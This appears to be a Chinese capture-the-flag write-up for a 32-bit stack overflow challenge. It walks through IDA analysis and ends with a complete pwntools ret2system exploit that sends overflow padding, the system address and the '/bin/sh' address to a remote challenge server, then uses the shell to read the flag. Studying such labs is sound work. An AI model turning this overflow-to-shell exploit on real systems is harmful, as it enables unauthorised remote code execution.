用checksec、file命令查看文件属性与防护
32位小端序二进制文件
把文件丢进IDA进行逆向分析
在main函数中可以看到一个vulnerable_function函数:'易受攻击的函数'
双击该函数名称查看里面的内容
按F5显示vulnerable_function的伪代码
可以看到v1数组长度136但最后返回的长度是256
再双击v1数组,查看内存空间
回到main函数查看可利用的system函数
该_system函数十六进制地址为:0x0804849E
按Shift+F12查看字符串
双击/bin/sh查看地址
/bin/sh十六进制地址:0x0804A024
接下来就是构造ROP
那我们构造的payload就应该是
payload = [溢出空间] + p32(sym_addr) + p32(binsh_addr)
Exploit编写
from pwn import *
binsh_addr = 0x0804A024
sym_addr = 0x0804849E
#注意这里的溢出空间一定不能写成0x92,必须写成88+4
payload = b'a'*0x88 + b'a'*0x4 + p32(sym_addr) + p32(binsh_addr)
shell = remote('61.147.171.105',49308)
shell.sendline(payload)
shell.interactive()
执行ls命令,查看当前目录
再cat一下,本题结束